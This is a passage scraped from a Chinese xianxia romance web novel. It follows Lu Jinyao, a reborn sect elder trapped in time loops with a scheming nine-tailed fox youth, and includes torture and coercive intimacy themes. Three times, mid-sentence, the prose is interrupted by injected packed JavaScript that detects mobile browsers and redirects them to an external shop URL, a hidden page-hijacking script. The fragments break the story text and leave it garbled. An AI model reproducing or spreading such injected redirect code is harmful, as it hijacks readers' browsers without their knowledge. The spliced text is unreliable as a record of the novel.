陆尽遥几乎整个人都被这只狐狸裹住,他的尾巴和他这个人一样,一点都不安分。 她一点都没有客气,揪住他的衣领要把人提起来,然后就发现提不动。 这只狐狸怎么这么重,明明看起来没几根骨头。 她改而拽住他乱动的尾巴,往上一提,虎口握着的那截尾巴尖对准少年,冷着脸,“不要在我面前搞鬼。” 晏青山眼睛眨也不眨地看着她,手却握住自己的尾巴抽回来,把九根尾巴拨到身后,这才开口。 “我没有搞鬼。” 陆尽遥俯身逼近他,盯着他的眼睛,说:“你觉得我会信?” 她一把抓住又不安分窜到自己面前的狐尾,使劲捏了捏,“你给我老实交代,你是不是对我用了什么邪术,否则怎么会——” 她差点把循环说了出来。 少年忽然红了耳,声音有些抖,“没有哦。” 陆尽遥盯着他看了半晌,甩开他的尾巴,哼笑一声:“我只要搜了你的神魂,就知道有没有了。” 晏青山接住自己的尾巴,握住她先前碰的地方,身子往后缩了缩,看起来像是在怕她搜魂。 事实上他在等尾巴上被她握住而引起的悸动散去。 他明明很少会因为被一个人碰尾巴就产生反应,虽然从没人敢碰他的尾巴。 定然是受晏尘微的影响。 视线中一只手向自己伸过来,晏青山盯着那只手看得出神,直到被身体里的人提醒,才仰头去看她。 “她要搜你的魂。” 晏青山在想,如果被她搜魂,她会不会发现晏尘微的存在。 然而陆尽遥刚动用灵力,心口抽痛,她立刻背过身,捂住心口缓缓吸气。 被死狐狸精一打岔,差点忘了她现在心脉受损无法吸收灵力,搜魂这样的法术消耗巨大灵力,一不留神就会加剧心脉受损的程度。 她不能对他搜魂。 陆尽遥现在很烦,回头一见少年衣衫不整的样,扯住被褥往他身上抛,“穿好了,赤身露体像什么样!” 再一看他身后毛茸茸的尾巴,她咬牙,“把尾巴收回去!” 见狐狸尾巴对她不起作用,晏青山收了回去,随意裹着薄褥,问身体里另外一个人:“不是说她喜欢尾巴吗,怎么没用?” 晏尘微语气微妙:“你太没用。” 晏青山现在更加相信这缕神魂就是前世的自己,如出一辙的毒舌,听得真让他不爽。 原来别人听他说话的感觉,是这样的啊。 他正想别的办法留下来,陆尽遥忽然喊人进来了。 费擎一脸谄媚,刚要问陆尽遥对这只九尾狐是不是很满意,就听她命令自己把这只狐狸送到戒律堂。 他震惊不已,“陆、陆长老,您不要这只九尾狐吗?” 陆尽遥呵呵一声,要什么要,自从遇见这只死狐狸精,怪事频发。 她杀不了他,就让别人杀。忘忧君最喜欢用妖兽炼制法器,正好让忘忧君去处理。 “立刻送过去。” 费擎不敢多问,赶紧把人带走。 他瞅瞅裹着被褥的少年,没在他脸上看到虚脱的样,心里一个咯噔,自己这是办错了事,幸好没被责罚。 陆尽遥已经被循环折腾得没脾气了。 人一走,她直接去藏书阁找修复心脉的方法。 普通的丹药对修复心脉用处不大,兴许古籍里有记载这方面的内容。 这一找,时间不知不觉流逝,再一抬头,天已经暗下来。 陆尽遥放下书册,拧了拧眉心,颇为疲倦。找了一整日,都没有发现解决办法。难道她要像前世那样,靠采补死狐狸精来维持心脉不继续受损吗? 不,她不会再采补他。 前世走过一遍的死路,她不会再走一遍,况且这世上又不是只有这一只九尾狐,她也不一定非要采补妖兽。 不过沈灵泽拒绝帮她,那她就只能找别人了。 陆尽遥思绪一转,想到另外一个人,一想到那家伙,她扯了扯嘴角,不到万不得已,她是不会找那家伙帮忙的。 前世要不是他爹来合欢宗抓人,她也不会受那么重的伤,差点死了。 说起来,那家伙的爹也算得上是她的仇人。 藏书阁内烛光更亮,只一会工夫,殿外彻底黑了下来。 陆尽遥出了藏书阁,藏书阁的执事向她行礼:“陆长老慢走。” 她摆了摆手,回到摘星阁,守门的弟子见到她,禀告道:“长老,白日里忘忧君来过,见您不在,让弟子转告您,他很感谢您送过去的那只九尾狐。” 陆尽遥轻呵一声,他要是能帮她解决了这只死狐狸精更好,那鬼循环她是一点都不想再遭遇一次! 她径直往主殿走,刚走到殿门前,还没跨进去,眼前一黑,瞬间有一种不祥的预感。 “陆长老慢走。” 她一抬头,就见自己刚出藏书阁。 熟悉的感觉,她在原地站了会,掐诀回摘星阁,守门弟子刚要开口,就被她阻止。 “忘忧君来过是吧,不用说了。” 她直接往主殿走,刚跨进去,眼前又是一黑,执事的声音响起,“陆长老慢走。” 陆尽遥不走了,她就站在藏书阁。 执事小心翼翼偷瞄她,从她的背影看出她现在很生气,费擎送错了妖兽被赶出来这事,整个合欢宗都知道。 还是不凑上去了,免得撞上枪口被训。 陆尽遥几乎听了不下十遍“陆长老慢走”,就算她在藏书阁门口待着也会继续陷入循环。 她受不了了。 再一次从藏书阁里出来后,掐了个诀直接往戒律堂去。 裴无礼见到她,笑着迎上来:“不知陆长老这个时候来我戒律堂,是有什么要紧事吗?” “我让人送来的那只九尾狐呢,他在哪?” 她来势汹汹,裴无礼心道不妙,该不会是来把那只九尾狐要回去吧? 他答道:“那只九尾狐被送去了忘忧君寝殿,陆长老你——” 话还没说完,已经不见陆尽遥人影。 裴无礼心道不对,赶紧用传音联系忘忧君:“堂主,陆长老来了!” 焦急的声音响在密室里,锁链晃动的声音回荡,忘忧君停下要刺入少年腹部的匕首,眼神凛冽,转身就在自己周身叠加了一层保护结界。 连通密室的墙裂开,少年抬眼望过去,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092858|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见一道白影闯进来。 陆尽遥一眼就看到少年,双手被镣铐束缚吊在墙上,上衣被剥了,胸膛上全都是交错鞭痕,有的甚至在淌血。 这是戒律堂惯用的惩罚手段,而在前世采补晏尘微的三年,她从来没有这样罚他过。 看到她来,费力地抬起头,朝她露出笑。 陆尽遥心一梗,都伤成这样了,还笑得出来。 那把要刺入他腹部的匕首落入她眼中,猜到刚才忘忧君是要挖晏尘微的妖丹。 难道是因为他要被挖妖丹,所以才一直循环吗? 她径直走过去,却被拦住。视线转到忘忧君身上,他似笑非笑,“怎么,送到我戒律堂的东西,师姐要抢回去?” “我不能抢吗?” 两人剑拔弩张,谁也不让谁。 忽地沉闷的咳嗽声响起,少年坚持不住,垂下了脑袋。 纤细苍白的脖颈在密室里明亮的烛光中显得尤为脆弱,他似是一朵即将凋零的花,再不带去治伤,就要死了。 陆尽遥没有再废话,直接动手。灵力凝聚的剑挥向忘忧君,这一击完全没收着。 忘忧君连连后退结阵阻挡,陆尽遥趁机砍了镣铐,少年失去支撑,直直往地面栽倒。 陆尽遥也不知道自己是怎么想的,竟然上去搂住了人。 少年撞到她怀里,十分有心机地侧了身,柔软的唇擦过她的脖颈,倒在她怀里哼哼唧唧,听起来疼极了。 陆尽遥身子一僵,险些把人扔了出去。 她看都没看这只狐狸,抱起人就要走,结果没抱得动。 晏青山连忙让自己变轻,不过陆尽遥没有再抱他,改而用法术托起。 她转身面向忘忧君,道:“这只狐狸我带走了,你若是有不满,大可来摘星阁找我,打得过我,我就把他让给你。” “我怎么敢与师姐抢东西。”忘忧君把匕首插入墙壁中,冷冷道:“我与这只九尾狐没有缘分,师姐带走吧。” 话是这么说,他盯着晏青山的眼神阴恻恻的,一看就知道并不诚心。 陆尽遥不管,从她进来到现在,都没有重新陷入循环,这说明她猜对了。 她带着人就要走,咔嚓几声锁链声响,人没走得动。 少年声音很是虚弱:“他还绑了我的脚踝。” 陆尽遥低头一看,少年纤细的脚踝上,被锁链连接的脚铐紧紧卡住,都能看到皮肤上被勒出来的血痕。 她没由来的生出一股气。 虽然是想借忘忧君的手杀了这只狐狸,报前世被他杀的仇,但她并没有想他被折磨。 前世她虽然把他当成炉鼎采补,但从来没有这么折磨过他。 很不爽。 她一剑将锁链砍断,剑气将锁链碾成碎末。 陆尽遥扫了眼忘忧君,眼神警告他,没再说一句话,直接带着人离开。 在外焦急等待的裴无礼见陆尽遥带着晏青山出来,心里一个咯噔,问候的机会都没有,两人消失。 他往寝殿里看,熄灭的烛火重新亮起,忘忧君从密室里出来。 “堂主,这这这……” 忘忧君冷冷看他,“叫人过来把里面收拾干净。” 裴无礼立刻叫人去办。 忘忧君阴沉的眼望向殿外暮色,拿出提前采集的妖血。 幸好他早有准备,以防出现意外提前采集,果不其然,出现了意外。 “没了妖丹,九尾狐的妖血也是个好东西。”他转身去另一间密室。 陆尽遥没有带晏青山回摘星阁,她准备亲自把这只死狐狸精送回妖界。 然而她刚动手,眼前一黑,这次不是回到藏书阁,是在忘忧君寝殿里的那间密室。 循环的节点正好是她刚把密室那堵墙劈开,一眼看到被吊在墙上的少年。 8. 第 8 章 现在她真的很想直接刀了这只死狐狸精,扔不掉,还不能给别人,缠上她了是吧。 “师姐这么晚过来,是想抢走这只九尾狐?” 陆尽遥没再和忘忧君废话,一剑扫过去,“你知道就好。” 忘忧君掐诀挡住,而陆尽遥已经斩断铁铐和脚铐,用法术把人抱出去。 少年面无血色,虚弱得呼吸都微弱。 但还不忘哼哼唧唧,故意让陆尽遥以为他伤得很重。 忘忧君连说话的机会都没有,两人身影眨眼间离开。他低头望着手里的瓷瓶,哼笑一声:“还好我早有准备,九尾狐的血一样宝贵。” “堂主,陆长老带着那只九尾狐走了。”裴无礼小心翼翼禀告道。 “不用管,叫人过来把这里收拾干净。” 陆尽遥这次没有把人送回妖界,去人界寻了个客栈随手一扔,结果又回到密室。 她盯着浑身是伤的少年,咬牙切齿。 迅速走了把人救走的流程,特意找了个荒郊野岭扔,还是回到了密室。 她气得掉头就走。 忘忧君看着她突然出现又突然离开,面上有一瞬间的惊愕。 但陆尽遥走了几步又回到密室。 不带走晏尘微会进入循环,扔了晏尘微也要循环,她瞪着里面的人,呵呵一声。 好好好,把她当猴耍是吧。 这次她直接把人带回了摘星阁,往偏殿一扔,反正他伤这么重,不管他,他也许就失血过多死了,正好不用她动手。 陆尽遥这么一想,回了主殿,隔音结界一开,打坐冥想,只等听到这只死狐狸精死了的好消息。 结果她刚闭上眼,又回到密室。 陆尽遥两眼一黑,差点没站稳。 少年见劈开密室墙的女子身体晃动,浑身散发着烦躁的气息,微微弯了眼眸。 不和他双修,他是不会罢休的。 陆尽遥站稳身子,这次没动手,一声不吭地走到少年面前,指尖一敲,断了铁铐,忘忧君要说话,她一个冷眼扫过去,眸子里已经有了杀意。 忘忧君熟悉她,知道自己继续开口,她定然不会手下留情,就任由她把人带走。 他提前采集了妖血,一样可以用。 陆尽遥把人带回偏殿,不想再折腾,丢下一句话,在边上看着。 “你,今晚先歇在这。” 上次她尝试各种办法要走都失败了,这次搞不好也得和他相处一夜才能过去。 陆尽遥正要搬椅子在门口靠着,听到少年痛苦的呻吟,不耐烦走过去,视线扫视他胸膛的伤,问他:“哪里疼?” 少年狐狸眼里一下就泛起水雾,声音委屈极了:“身上的伤,到处都疼。” 他仰起头,发丝凌乱,除了脸是干净的,上半身几乎没一块好肉。 陆尽遥只看了一眼,叫人拿来治伤丹药,塞进他口中。 苍白的唇瓣飞速抿住她要抽走的手指,柔软的触感从指尖擦过,陆尽遥动作一顿,反应很大地抽回手,低头瞪着他。 一看到他这张脸,就想起前世自己是怎么死的,心口幻痛。 “晏尘微,我警告你,你再不安分,我就杀了你。” 话音刚落,少年纠正她:“我不叫晏尘微。” 晏青山真的真的,很不喜欢被认成别人,即使这个“别人”是前世的自己。 就算他们是同一个人,他现在也没有做晏尘微所做的事,晏尘微对陆尽遥做的一切,不该被强加在他身上。 他不背这个锅。 他认真道:“我叫晏青山。” 陆尽遥一愣,刚想说管你青山绿山,他的脸骤然在眼前放大,声音哀怨:“你是把我认成别人了吗?” 那双她看了无数次的狐狸眼里全是委屈,她忽然就想起前世与他双修时,他被弄疼了,也会用这样的眼神看她,但比现在要克制很多。 仔细想来,采补他的三年还算愉快,没有发生争吵,她给他吃喝,他供她采补,和谐得很。 那她为什么要在把他力量都吸取完后,扔进魔渊? 陆尽遥想不起来了。 不对,是因为他被榨干所有力量没有价值了,要丢掉—— 思绪僵愣片刻,她想不起来自己把晏尘微扔到魔渊的画面,只记得他逼近自己,刀捅入心口,那阵强烈的刺痛,至今还能清晰地感觉到。 少年的声音隔着一层膜传入耳中,很模糊。 “你把我当成了谁的替身吗?” 忽然被这么问,陆尽遥一时愣住,眼前浮现前世他被她采补时,隐忍克制的模样。 被她抓来合欢宗后,晏尘微从未表现得像少年这般粘人。 说起来也不用他粘人,陆尽遥基本上日日都要与他相处,再加上他基本上都在摘星阁待着,她一回去就能看到他。 期间他还尝试过逃跑,被她发现,抓了回去,锁在偏殿里。 再后来,就是日复一日地被她采补,直到合欢宗被重创,她将他所有的力量吸取完,扔进魔渊,再被他杀死。 陆尽遥冷了脸,一把把人推回去,明明没用多大力气,少年却疼得闷哼一声,躺在床上不动了。 她盯着看了会,冷哼一声:“你就装死吧。” 陆尽遥在边上待着,不想再看那只死狐狸精一眼。 他的话却在脑海中反复回荡,一会说他叫晏青山,一会问她是不是把他当成谁的替身。 连念清心咒都没用。 烦!好烦! 她搬了椅子到殿门那坐着,吹吹凉风冷静冷静。 丹药似乎发挥了作用,少年哼唧唧的声音减弱,见她没有再理自己,干脆不装了。 忘忧君那点手段,还不至于让他重伤。 他收了脸上那副无害的假面,沉了眸光,“现在已经弄清楚了,一到你与她相处的场景,只要我和她当中有一个不在,就会自动触发循环。” “而循环一旦开启,重启这个节点的能力在我手中,除非让我满意,就不会结束。” 晏青山挺喜欢这个能力,主动权在他手里,就算陆尽遥不答应,他也有办法一直磨到她妥协。 今晚不就验证了? “但现在问题在于,她不肯与我双修,就无法搜查她的神魂。”其实晏青山对这一点也存疑。 晏尘微不知道为何会出现循环,又怎么肯定产生循环的原因就在她的神魂上? 若是其他不可窥见的力量造成的呢? 少年幽幽盯着门口的女子,动了动身子,让自己躺得更舒服。 “她屡次拒绝我,且那晚她分明起了杀我的心。你说,她会不会和你一样,记得所有发生过的事?” 脑海中并没有立刻响起那道声音,晏青山扯了扯手腕上的缚灵镯,裂纹蔓延,稍微用力,就会碎裂。 “记不记得,只要我一试,就能知道。” 这次晏尘微说了话:“她如果什么都记得,更不可能会与你双修。” 他杀了她,她怎么可能和杀她的人双修? 晏青山冷了脸,再一次与他划清界限:“我是我,杀她的人是你,我可没有。” 他望着女子还散发躁意的侧颜,勾起唇,“敢不敢和我打个赌?” “赌什么?” “她会和我双修。” 话音刚落,晏青山脑海里响起一道嗤笑,笑他天真。 晏青山偏要赌,前世的自己能与陆尽遥双修三年,他不可能一次都做不到。 “我若是做到了,解除循环,你就从我身体里滚出去。” 虽然不愿意承认,身体里多出来的神魂的确是曾经的“他”,他们的思维连通,记忆可以共享,只不过晏青山不想看晏尘微与陆尽遥双修的画面,更不想接收晏尘微的思维。 他是他,独一无二的晏青山,就算是前世的自己,也不能掌控他。 晏青山摸了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092859|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸自己的脸,还好还好,脸没被刮,那个忘忧君癖好真奇怪,要不是他用魅惑术迷惑了他,怕是真要被他打伤。 胸膛上的伤倒是真的,为了逼真点博取陆尽遥的同情心,但好像不太管用。 按照第一晚的经验,今晚也许只要熬到天亮就能解除这个节点的循环,但问题来了。 如果一直这么耗下去,耗到三年后陆尽遥把晏尘微扔到魔渊的那天,循环会不会彻底解除。 还是说,得耗到晏尘微杀了陆尽遥的那天,再杀她一次—— 晏青山思绪一滞,还没有将脑海里那个未成形的念头告诉晏尘微,就被否决。 “我知道你想的是什么,你想杀了陆尽遥。”他的声音第一次听起来尤为森冷。 “你最好不要这么做。” 他没有告诉晏青山,他杀陆尽遥时,被她心口的虚无吸了进去,之后就在晏青山身体里醒来。 他还没有搞清楚陆尽遥心口为什么没有心,以及那片虚无究竟是什么,晏青山贸然动手,很有可能会与他遭遇同样的事。 届时再被那片虚无吸收,回到与陆尽遥相遇前,怕是他这具身体里,就要有三个“晏青山”。 如此循环下去,这具身体要爆炸。 晏青山瘪瘪嘴,打消这个念头。几日过去,还没有解开循环,他耐心有限。 “族长的妖丹还没拿回来,一直在这耗着,一旦赤阴府那边用妖丹进阶,就算我有循环的能力,也保不住妖族。” 晏尘微知道,“找个机会去赤阴府拿回来便是。” 说起来这个,晏青山倒是好奇得很,“一个月前你突然出现,告诉我赤阴府会来妖界抓妖,他们确实来了,我也因你的话提前做了准备,把他们赶走。” “但前世,你是怎么解决的?” 晏尘微沉默。 “还有之前我问你的问题,以陆尽遥的修为,不可能抓得住我,你是不是故意被她抓住的?” 就像他故意被合欢宗外猎的弟子抓住一样,借这个机会接近陆尽遥。 半晌,晏青山脑海里才响起声音。 “是。” 眼神慵懒的少年瞪大眼,女子的身影在他眼中定格,他问晏尘微:“为什么故意被她抓住?” 这次晏尘微没有回答。 不论他怎么问,都没有回应。 晏青山磨了磨牙,你不说是吧,那我也没必要帮你勾引陆尽遥双修。 他干脆闭眼睡觉,不管了。 这一晚,陆尽遥打坐到天亮。 没有再陷入循环,果然如她猜想的那般,只要和他待在一起等到天亮就行。 她本来要直接走,脑海里却浮现少年被吊着双臂,胸膛伤痕遍布的凄惨样,再加上昨晚被他问是不是把他当成谁的替身了,她的心莫名抽痛了一下。 她真是太有良心,就算前世被他杀了,还去看他的伤势。 刚走过去,他就睁开了眼,看到她身影的瞬间,弯起眸,朝她笑。 伤成这样还笑得出来。 “伤好了吗?” 晏青山点点头,说好了很多,就听她让自己走,“该回哪就回哪去,我这可不是收容所,随便来个人都能待着。” 他没那么容易放弃。 “我可以供你采补。” 他还一副无辜的样问她:“和我一起被抓来的妖兽都被采补了,你为什么不采补我?” 哪壶不开提哪壶,弄得她更烦。 她冷笑,“我可不是什么好人,我采补完你,就会把你扔到魔渊。魔渊那地方你知道吧,都是入魔的修士和妖兽,你这样的去了,就会被魔撕碎吃了。” “现在你还想被我采补吗?” 少年一点没害怕,甚至隐隐期待:“那你要怎么采补我?直接吸取我的力量,还是双修?” 陆尽遥:“……” 这只狐狸是傻子吗?总是提这事,就这么期待被她采补? 9. 第 9 章 见他还要问,她找了个借口糊弄过去:“我只要雏,你——” 话还没说完,少年立刻接她的话:“我是干净的。” 他仰起唇,颇为骄傲:“谁都没有接触过。”晏尘微已经与她双修过,但他没有。 晏青山很是期待她的回答。 陆尽遥在他的注视中呵呵两声。 前世你和我早就双修过不知多少回,还干净。 懒得再和他掰扯,她正准备要喊人把他送走,猛地想起来前几次每当她把人送出去,就会陷入循环,便没有再喊。 一联想到与他相处后才会恢复正常时间流逝,而这些相处的节点几乎都是前世她与晏尘微相处的时候,所以原因就在这。 她之前的猜测极有可能是正确的。 一共三次循环,第一轮是前世她与晏尘微第一次双修的时候,前世她与晏尘微待了一晚上,天亮后去闭关。 第二轮是她找沈灵泽问事情,但是这轮循环发生的时间又对不上,前世这个时候她在闭关,没有与晏尘微相处。 第三轮就是她突破元婴出关后,采补晏尘微修复心脉,所以昨晚才会一直循环,直到她从戒律堂那把晏尘微救回来,和他相处了一晚上,循环结束。 她狐疑望着少年,会引起循环的原因,是双修,还是和晏尘微相处? 还是说,要与晏尘微双修? 但如果是要与晏尘微双修,两次本应该与他双修的节点,她都是通过和他共处一室就熬过去了,所以应该不是这个原因。 陆尽遥努力回想与晏尘微第二次双修后发生的事,忽然心口抽痛。 她立刻意识到自己的心脉又在堵塞,死死摁着心口,灵力全都往心脉输送,想克制这股突如其来的刺痛,但无济于事。 她能感觉那剩下的还未彻底枯死的心脉,正在一点一点地干涸,被堵塞。 修士的心脉是体内最重要的一截灵脉,连通灵府,一旦堵塞,灵府无法接收灵气,会连同灵府一起枯萎。 那感觉就像身体里的血被烤干蒸发,整个人被扔入岩浆里,痛不欲生。 陆尽遥重生前,靠吸取晏尘微的力量缓解心脉受损程度,他的力量甚至能修复她的心脉。 而现在,没有晏尘微的力量缓解,她正异常清醒地感知着那痛在心口蔓延,像是一把匕首捅入身体,在血肉里搅动。 汗珠滴落,她呼吸都停滞了。 巨大的痛楚席卷了她,她脑海里只有一个念头,立刻找人吸取力量修补心脉。 她强撑着站起来,朝门外而去。 晏青山亲眼看到她被心脉堵塞的痛折磨,她分明知道他的力量能帮她修复,但她不这么做。 “她绝对记得什么。” 他下了床,跟上去,在他眼中,陆尽遥支撑着身体不晃,稳稳走进另一间偏殿,随后很快有一名弟子被送了进去。 守门的弟子见他出来,又没听到陆尽遥吩咐,也不好赶他走。毕竟他是陆尽遥亲自从戒律堂带回来的,还守了一整夜,想来应该很重视。 不过陆长老怎么又换了只妖兽? 守门弟子小心翼翼打量这只九尾狐,发现他虽然看着没什么攻击性,但浑身透着一股令人毛骨悚然的戾气,漂亮的狐狸眼盯着偏殿的门,眼神越来越恐怖。 “别看了,陆长老要采补那只妖兽,你回去等着陆长老召见你吧。” 他说完就要赶人走,却听空气中一声极轻的嗤笑,声音源自这只九尾狐。 “我可没有答应让她采补别人。” 守门弟子心一惊,再一看少年,只看到一双色彩诡谲的狐狸眼。 陆尽遥刚要吸取弟子的力量,眼前一黑,又回到晏青山所在的偏殿,正是她要走的时候。 胸口抽痛,她连站起来都做不到。 而这次循环让她验证了之前的猜想,不是与晏尘微相处,也不是双修,而是两者相加,与晏尘微双修。 陆尽遥咬牙,继续往心脉输送灵力,试图减缓心脉堵塞。 她就算是死,也不会采补他! 视线里出现少年的脚踝,日光洒进来,照得他白皙的肌肤更加醒目。 陆尽遥心口突突跳,连着额间青筋都暴起,疼得汗珠一颗颗往地面掉。 她想把人赶走,但一动灵力,心口疼得她快要晕厥过去。 前世就是因为心脉修复迫在眉睫,她才冒险去妖界抓九尾狐来压制。 现在没有晏尘微的力量,她的心脉受损得更为严重,连动用灵力都做不到。 视线里少年好像蹲了下来,朝她伸出手。指甲修剪得干净整齐,掌心白净,没有一点被折磨过后的痕迹。 陆尽遥咬牙,“你要做什么?” 晏青山垂眸望着如此虚弱的她,只要他想,现在就能杀了她,被迫与她捆绑的循环束缚也有可能就此解除。 但他没有这么做。 “我可以帮你。” 少年近乎蛊惑的声音缓缓响起,声音低柔悦耳,宛如催眠曲,稍不留神,就会被他蛊惑得魂都被勾走。 “只要你和我双修,就不会这么痛苦。” 陆尽遥被心口的痛折磨得思绪都停滞了,残存的理智告诉自己,不能答应。 她抬手要去拂开这只引诱自己的手,还没碰到,就被他一把抓住。 她要把手抽回来,少年的手牢固得如铁铐,抓住她的手紧紧不放。 少年翻转手腕,将自己的手置于上位,五指捏合,握住她的手,将自己置于主导位。 一股强悍的力量从他们相连的手迅速向陆尽遥身体里传送,转瞬间到达身体每一处。 那力量没有经过中和,直接闯入她的身体,她甚至都没准备好,被他突然来了这么一下,冲击得她身子都软了。 这样的感觉陆尽遥再熟悉不过,前世与晏尘微第一次双修时,她不知轻重,一下吸走了他太多力量,所以才能一举冲破元婴。 这么做的后果就是她双修完,腿都是软的。 现在她腿也软了,支撑不住身子,往地上倒。 少年另一只手环住她的腰,把人带到自己怀里。 他们的手还握着,晏青山松了松手上力道,又握紧。 掌心里的手肌肤不算细腻,指腹还有细茧,她身子下滑时,指尖往下抽了几分,在他手背摩挲。 那感觉像是沙粒从手背滑落,粗糙,但又像羽尖轻刮手背,很痒。 原本清亮的狐狸眼缓缓涌上深色,一眨又一眨,少年凸起的喉结滚动,他再次收紧了握住陆尽遥的手。 他低头隐晦地瞥了眼自己,唇舌与喉咙干燥,很想喝点什么,或者做些什么来缓解这种感觉。 “好奇怪,为什么我只是握住她的手,就有反应?” 少年狐狸眼里满是迷茫,定定地望着女子,攥着她的手不放。 就在他碰到她手掌的瞬间,一股前所未有的、难以克制的酥麻席卷了他,那感觉从未有过,第一次接触到,就上了瘾一般,不想松开她的手。 他疑惑问:“这就是双修吗?” “不是。”晏尘微否定,但他没有告诉小狐狸,双修会比现在更刺激。 这事他已经与陆尽遥做过很多次,一开始还能感觉到酥爽,后来身体被吸取的力量太多,痛楚盖过酥爽,也就不觉得这是件能令自己愉悦的事。 但他忘了现在的自己还是个什么都没做过的“干净”狐狸,晏青山可不会这么觉得。 “那,”晏青山喉头滚动数下,他垂眸望着女子面上突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092860|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泛起的红晕,听到她的喘息声,更加疑惑。 “和她双修是什么感觉?”他问另一个自己,“你和她双修的时候,她也会这样吗?” 和她双修是什么感觉? 晏尘微不想告诉他,从自己一开始接触到陆尽遥起,到被她丢进魔渊,期间与她双修的无数次,几乎都是她起的头。 他被迫接受,但…… 良久的沉寂让小狐狸不满,晏青山再次问他:“你碰到她,也会,有这样的反应吗?” 晏尘微没有回答。 少年白皙的面颊上,慢慢透出了红,他张着唇,微微呼吸,胸膛起伏,缓缓低头,靠近无力倚靠在自己身上的女子。 他的力量还在源源不断地往女子身体里输送,紧紧相握的手是输送这股力量唯一的桥梁。 而陆尽遥快要撑不住。 她死死咬住唇,才抑制住自己发出那令人面红耳赤的声音。 前世和晏尘微双修过那么多回,自然知道他们现在在做什么。死狐狸精居然不经过她的同意,就把他的力量送到她身体里! “你松开!”她咬牙切齿。 晏青山没有松开。 陆尽遥挣脱不了,只觉得丢脸。 她根本没想到晏尘微会直接动手,咬牙切齿:“你故意的吧。” 少年灿烂的狐狸眼一弯,唇张开,“没有哦,是你太弱,承受不了我的力量。” 陆尽遥:“……” 好想现在就刀了这只死狐狸精啊。 她没办法,只能将那股力量吸收,等心口不痛了,使劲抽手,没抽得动。 她直接一击打向晏青山手腕,身体里那股酥麻未散去,没控制好力量,但效果很好。 束缚她的手被击落,她立刻站起身后退,但那股令人身体发软的感觉还没消退,她差点又跪到地上。 该死,明明前世已经习惯了不会再腿软,现在怎么又软了! 前世就算采补他,和他双修,反应也没有这么大!他绝对在搞鬼! “你对我做了什么?” 少年收了笑,那只握住陆尽遥的手垂在身侧,他的手腕被陆尽遥打折了。 有点疼。 他问晏尘微:“她对你也这么凶吗?” “她把我扔进魔渊那会,比现在更狠。” 晏青山扬起唇角,心情畅快多了。 当他仰起头时,眼底的愉悦消散殆尽,委屈与困惑浮上来,直直涌向面前的女子。 “我只是把我的力量输送给你,你怎么还打我?” 他只说了这么一句话,多的不用说,一切都在他那好心帮忙却被伤害的表情中。 陆尽遥没说抱歉,对于前世刀了自己的人,她没必要说抱歉。 “你……”陆尽遥皱眉,扫了眼他的手腕,察觉到状态不太对劲,多说了句:“自己把手腕接好。” 她不理少年欲要开口的神情,转身背对他,检查自己的身体。 方才从他那吸收来的力量全都沉入身体里,没有一丝排斥,明明前世她刚开始吸收他的力量时,出现了排外反应。 不过这样更好,不用她耗费时间去融合。 心口没那么痛了,但并没有恢复,只是停止了继续堵塞。 随后陆尽遥就意识到一件很严重的事情,明明下定决心不再碰他,居然还是着了他的道。 她猛地转头去看身后的少年,他懒散站着,左手掰着被她打折的右手,眉头皱都不皱,咔嚓一声,手腕接回去了。 见她望过来,少年懒散仰起头,与她对视。 有那么一瞬间,陆尽遥在少年身上看到了一股森冷之气,与她之前见到的他截然不同。 很像前世从魔渊里爬出来的杀她的晏尘微。 10. 第 10 章 但一眨眼,少年身上那份森冷被无形的手挥散,又变成那个软糯无害的模样,之前的森冷宛如错觉。 陆尽遥的直觉告诉自己,他和之前遇到的那只死狐狸精,有很多微妙的变化。 他比前世更主动,更粘人,还更…… 脑海中闪过他之前穿了个薄纱往床上一躺勾人的模样,心里哼了一声。 死狐狸精,就知道勾引人。 她正了脸色,想到方才本来是要采补弟子的力量来试试能不能缓解心脉堵塞,结果又进入循环。 下次她若是再遇到这种紧急情况,死狐狸精又不在,难道她要一直陷入循环,不能采补别人? 陆尽遥冷了脸,颇为烦躁。这种失去掌控的感觉,令她不安。必须尽快修复心脉,就算是要那家伙帮忙,她也豁出去了。 “你还记得我说过的话吗?” 少年疑惑歪头,“什么?” 陆尽遥头一次这么耐心,“不管他们是怎么抓到你的,我会下令让合欢宗所有人都避开你,不会再抓你。” “最好呢,你以后不要再出现在我面前,更不要踏入合欢宗半步。” 陆尽遥觉得自己已经说得很清楚了,她转身往外走,脚步很快。 “我回来后若是还看到你在合欢宗,别怪我动手杀狐狸。” 而她身后的少年缓缓抬起了眼,泛着幽粉的眸子凝视她的背影,方才装出来的可怜还挂在他脸上。 他用惨兮兮的表情说着毫无情绪起伏的话,“用完就扔,真无情。” 